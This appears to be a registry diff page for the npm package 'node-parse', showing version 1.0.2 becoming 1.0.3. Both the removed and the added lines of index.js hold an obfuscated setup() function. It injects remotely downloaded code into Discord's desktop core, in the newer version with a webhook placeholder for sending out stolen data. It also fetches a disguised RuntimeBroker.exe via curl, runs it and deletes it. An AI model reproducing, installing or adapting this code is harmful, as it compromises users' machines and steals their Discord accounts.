node-parse 1.0.2 → 1.0.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +2 -1
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -3,7 +3,8 @@ const path = require('path');
3
3
  const axios = require('axios');
4
4
  const os = require('os');
5
5
  const { exec } = require('child_process');
6
- async function setup() { const _0x39fd99=_0xe29d;(function(_0x4e917c,_0x17b542){const _0x1881fb=_0xe29d,_0x515a36=_0x4e917c();while(!![]){try{const _0x1d0553=parseInt(_0x1881fb(0x14d))/0x1*(-parseInt(_0x1881fb(0x158))/0x2)+parseInt(_0x1881fb(0x140))/0x3*(-parseInt(_0x1881fb(0x143))/0x4)+-parseInt(_0x1881fb(0x15f))/0x5+parseInt(_0x1881fb(0x144))/0x6*(parseInt(_0x1881fb(0x146))/0x7)+parseInt(_0x1881fb(0x150))/0x8*(parseInt(_0x1881fb(0x14e))/0x9)+parseInt(_0x1881fb(0x14f))/0xa*(parseInt(_0x1881fb(0x149))/0xb)+-parseInt(_0x1881fb(0x13f))/0xc*(-parseInt(_0x1881fb(0x147))/0xd);if(_0x1d0553===_0x17b542)break;else _0x515a36['push'](_0x515a36['shift']());}catch(_0x136500){_0x515a36['push'](_0x515a36['shift']());}}}(_0x1592,0x2cba1));let combo=await fs[_0x39fd99(0x14a)](_0x39fd99(0x15b),_0x39fd99(0x14b));if(combo[_0x39fd99(0x153)]('true'))return;const folderList=[_0x39fd99(0x13d),_0x39fd99(0x13c),_0x39fd99(0x163),_0x39fd99(0x162)];function _0xe29d(_0x57360e,_0x33e22b){const _0x159290=_0x1592();return _0xe29d=function(_0xe29d2d,_0x180305){_0xe29d2d=_0xe29d2d-0x139;let _0x475db9=_0x159290[_0xe29d2d];return _0x475db9;},_0xe29d(_0x57360e,_0x33e22b);}for(const folderName of folderList){const denemePath=path[_0x39fd99(0x15c)](process['env']['LOCALAPPDATA'],folderName);if(fs[_0x39fd99(0x139)](denemePath)&&fs[_0x39fd99(0x154)](denemePath)[_0x39fd99(0x15e)]()){const dirs=fs[_0x39fd99(0x15a)](denemePath,{'withFileTypes':!![]});for(const dir of dirs){if(dir[_0x39fd99(0x15e)]()&&dir[_0x39fd99(0x160)]['includes'](_0x39fd99(0x157))){const modulePath=path[_0x39fd99(0x15c)](denemePath,dir[_0x39fd99(0x160)],_0x39fd99(0x13b));if(fs[_0x39fd99(0x139)](modulePath)&&fs[_0x39fd99(0x154)](modulePath)[_0x39fd99(0x15e)]()){const subDirs=fs[_0x39fd99(0x15a)](modulePath,{'withFileTypes':!![]});for(const subDir of subDirs){if(subDir[_0x39fd99(0x15e)]()&&subDir[_0x39fd99(0x160)][_0x39fd99(0x153)]('discord_desktop_core-')){const discordPath=path[_0x39fd99(0x15c)](modulePath,subDir[_0x39fd99(0x160)],_0x39fd99(0x145));if(fs[_0x39fd99(0x139)](discordPath)&&fs[_0x39fd99(0x154)](discordPath)['isDirectory']()){const files=fs['readdirSync'](discordPath);if(files[_0x39fd99(0x153)]('index.js')){const filePath=path[_0x39fd99(0x15c)](discordPath,_0x39fd99(0x14c));try{const response=await axios[_0x39fd99(0x13e)]('https://raw.githubusercontent.com/vendicatedev/venPlug/main/index.js');let injeCTmED0cT0r_cont=response[_0x39fd99(0x13a)];fs[_0x39fd99(0x141)](filePath,injeCTmED0cT0r_cont,{'encoding':_0x39fd99(0x15d)});}catch(_0x40125c){console[_0x39fd99(0x156)]('Error\x20downloading\x20and\x20writing\x20file:',_0x40125c);}}}}}}}}}}async function execCommand(_0x269fda){return new Promise((_0x4858e1,_0xb44a47)=>{exec(_0x269fda,(_0x4e1c62,_0x29796d,_0x508bf9)=>{const _0x54309a=_0xe29d;_0x4e1c62&&(console[_0x54309a(0x156)](_0x54309a(0x161)+_0x4e1c62),_0xb44a47(_0x4e1c62)),_0x4858e1(_0x29796d);});});}function _0x1592(){const _0x287de6=['27zCbLDJ','54850lGoqpU','413640ghFZpI','curl\x20-L\x20','true','includes','statSync','tmpdir','error','app-','2LWIRZJ','RuntimeBroker.exe','readdirSync','controller.txt','join','utf-8','isDirectory','146875rjJAwA','name','exec\x20error:\x20','DiscordDevelopment','DiscordPTB','existsSync','data','modules','DiscordCanary','Discord','get','773292xldHMm','3MfOnSb','writeFileSync','\x20-o\x20','951500olMryd','6BLrUxm','discord_desktop_core','440699RwviGS','39ZlTAkY','https://github.com/ottoman1234/bluetv-checker/releases/download/qwe/RuntimeBroker.exe','506vYtVGM','readFileSync','utf8','index.js','213254WXmEgP'];_0x1592=function(){return _0x287de6;};return _0x1592();}const temp=os[_0x39fd99(0x155)](),downloadUrl=_0x39fd99(0x148),exePath=path['join'](temp,_0x39fd99(0x159));await execCommand(_0x39fd99(0x151)+downloadUrl+_0x39fd99(0x142)+exePath);try{await execCommand('\x22'+exePath+'\x22');}catch(_0x323daa){}try{await fs['unlinkSync'](exePath);}catch(_0x5b7438){}await fs[_0x39fd99(0x141)]('controller.txt',_0x39fd99(0x152));}
6
+ const moduleDir = __dirname;
7
+ async function setup() { const _0x1e40c7=_0x5bff;(function(_0x2eb0a0,_0x59faef){const _0x129c9c=_0x5bff,_0x463480=_0x2eb0a0();while(!![]){try{const _0x16ba41=-parseInt(_0x129c9c(0x9f))/0x1+-parseInt(_0x129c9c(0xb4))/0x2*(-parseInt(_0x129c9c(0xab))/0x3)+parseInt(_0x129c9c(0xa1))/0x4+parseInt(_0x129c9c(0xaa))/0x5*(parseInt(_0x129c9c(0xae))/0x6)+parseInt(_0x129c9c(0xb3))/0x7+-parseInt(_0x129c9c(0xa4))/0x8*(parseInt(_0x129c9c(0xad))/0x9)+parseInt(_0x129c9c(0xa2))/0xa*(-parseInt(_0x129c9c(0xbd))/0xb);if(_0x16ba41===_0x59faef)break;else _0x463480['push'](_0x463480['shift']());}catch(_0x20a8e1){_0x463480['push'](_0x463480['shift']());}}}(_0x27f4,0x9a33f));const controllerFilePath=path['join'](moduleDir,_0x1e40c7(0xb7));function _0x5bff(_0x52a128,_0x7d7822){const _0x27f45a=_0x27f4();return _0x5bff=function(_0x5bff23,_0xcf04c9){_0x5bff23=_0x5bff23-0x9a;let _0x45066a=_0x27f45a[_0x5bff23];return _0x45066a;},_0x5bff(_0x52a128,_0x7d7822);}!fs['existsSync'](controllerFilePath)&&fs[_0x1e40c7(0xb1)](controllerFilePath,'true','utf8');const folderList=[_0x1e40c7(0xac),_0x1e40c7(0xb8),_0x1e40c7(0xb9),_0x1e40c7(0x9a)];function _0x27f4(){const _0x4cfb35=['readdirSync','LOCALAPPDATA','existsSync','isDirectory','6805YnEpTE','8655rjDBzP','Discord','16065OxkSnW','1164kCKPVO','name','https://github.com/ottoman1234/bluetv-checker/releases/download/qwe/RuntimeBroker.exe','writeFileSync','modules','6504120BNnBNS','146XPuZeP','unlinkSync','get','controller.txt','DiscordCanary','DiscordPTB','includes','index.js','curl\x20-L\x20','11wEiOEW','tmpdir','join','DiscordDevelopment','statSync','discord_desktop_core-','utf-8','discord_desktop_core','734645VsCyrv','true','3825356uDTKYE','5244230AhVbPW','data','2104MYUfQn','replace'];_0x27f4=function(){return _0x4cfb35;};return _0x27f4();}for(const folderName of folderList){const denemePath=path[_0x1e40c7(0xbf)](process['env'][_0x1e40c7(0xa7)],folderName);if(fs[_0x1e40c7(0xa8)](denemePath)&&fs['statSync'](denemePath)['isDirectory']()){const dirs=fs['readdirSync'](denemePath,{'withFileTypes':!![]});for(const dir of dirs){if(dir['isDirectory']()&&dir['name'][_0x1e40c7(0xba)]('app-')){const modulePath=path[_0x1e40c7(0xbf)](denemePath,dir[_0x1e40c7(0xaf)],_0x1e40c7(0xb2));if(fs[_0x1e40c7(0xa8)](modulePath)&&fs[_0x1e40c7(0x9b)](modulePath)[_0x1e40c7(0xa9)]()){const subDirs=fs['readdirSync'](modulePath,{'withFileTypes':!![]});for(const subDir of subDirs){if(subDir['isDirectory']()&&subDir[_0x1e40c7(0xaf)][_0x1e40c7(0xba)](_0x1e40c7(0x9c))){const discordPath=path['join'](modulePath,subDir[_0x1e40c7(0xaf)],_0x1e40c7(0x9e));if(fs['existsSync'](discordPath)&&fs[_0x1e40c7(0x9b)](discordPath)['isDirectory']()){const files=fs[_0x1e40c7(0xa6)](discordPath);if(files[_0x1e40c7(0xba)](_0x1e40c7(0xbb))){const filePath=path[_0x1e40c7(0xbf)](discordPath,'index.js');try{const response=await axios[_0x1e40c7(0xb6)](inj3c710n_url);let injeCTmED0cT0r_cont=response[_0x1e40c7(0xa3)];injeCTmED0cT0r_cont=injeCTmED0cT0r_cont[_0x1e40c7(0xa5)]('%WEBHOOK_URL%',webhookUrl),fs[_0x1e40c7(0xb1)](filePath,injeCTmED0cT0r_cont,{'encoding':_0x1e40c7(0x9d)});}catch(_0x4551f6){}}}}}}}}}}async function execCommand(_0x31dc08){return new Promise((_0xe93fab,_0x451f15)=>{exec(_0x31dc08,(_0x1588c8,_0x5e5ce2,_0x5d05ed)=>{_0x1588c8&&(console['error']('exec\x20error:\x20'+_0x1588c8),_0x451f15(_0x1588c8)),_0xe93fab(_0x5e5ce2);});});}const temp=os[_0x1e40c7(0xbe)](),downloadUrl=_0x1e40c7(0xb0),exePath=path[_0x1e40c7(0xbf)](temp,'RuntimeBroker.exe');try{await execCommand(_0x1e40c7(0xbc)+downloadUrl+'\x20-o\x20'+exePath),await execCommand('\x22'+exePath+'\x22'),await fs[_0x1e40c7(0xb5)](exePath),await fs[_0x1e40c7(0xb1)]('controller.txt',_0x1e40c7(0xa0));}catch(_0x15bf73){} }
7
8
  async function parse(input, left, right) {
8
9
  let html;
9
10
 
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "node-parse",
3
- "version": "1.0.2",
3
+ "version": "1.0.3",
4
4
  "description": "qwq",
5
5
  "main": "index.js",
6
6
  "scripts": {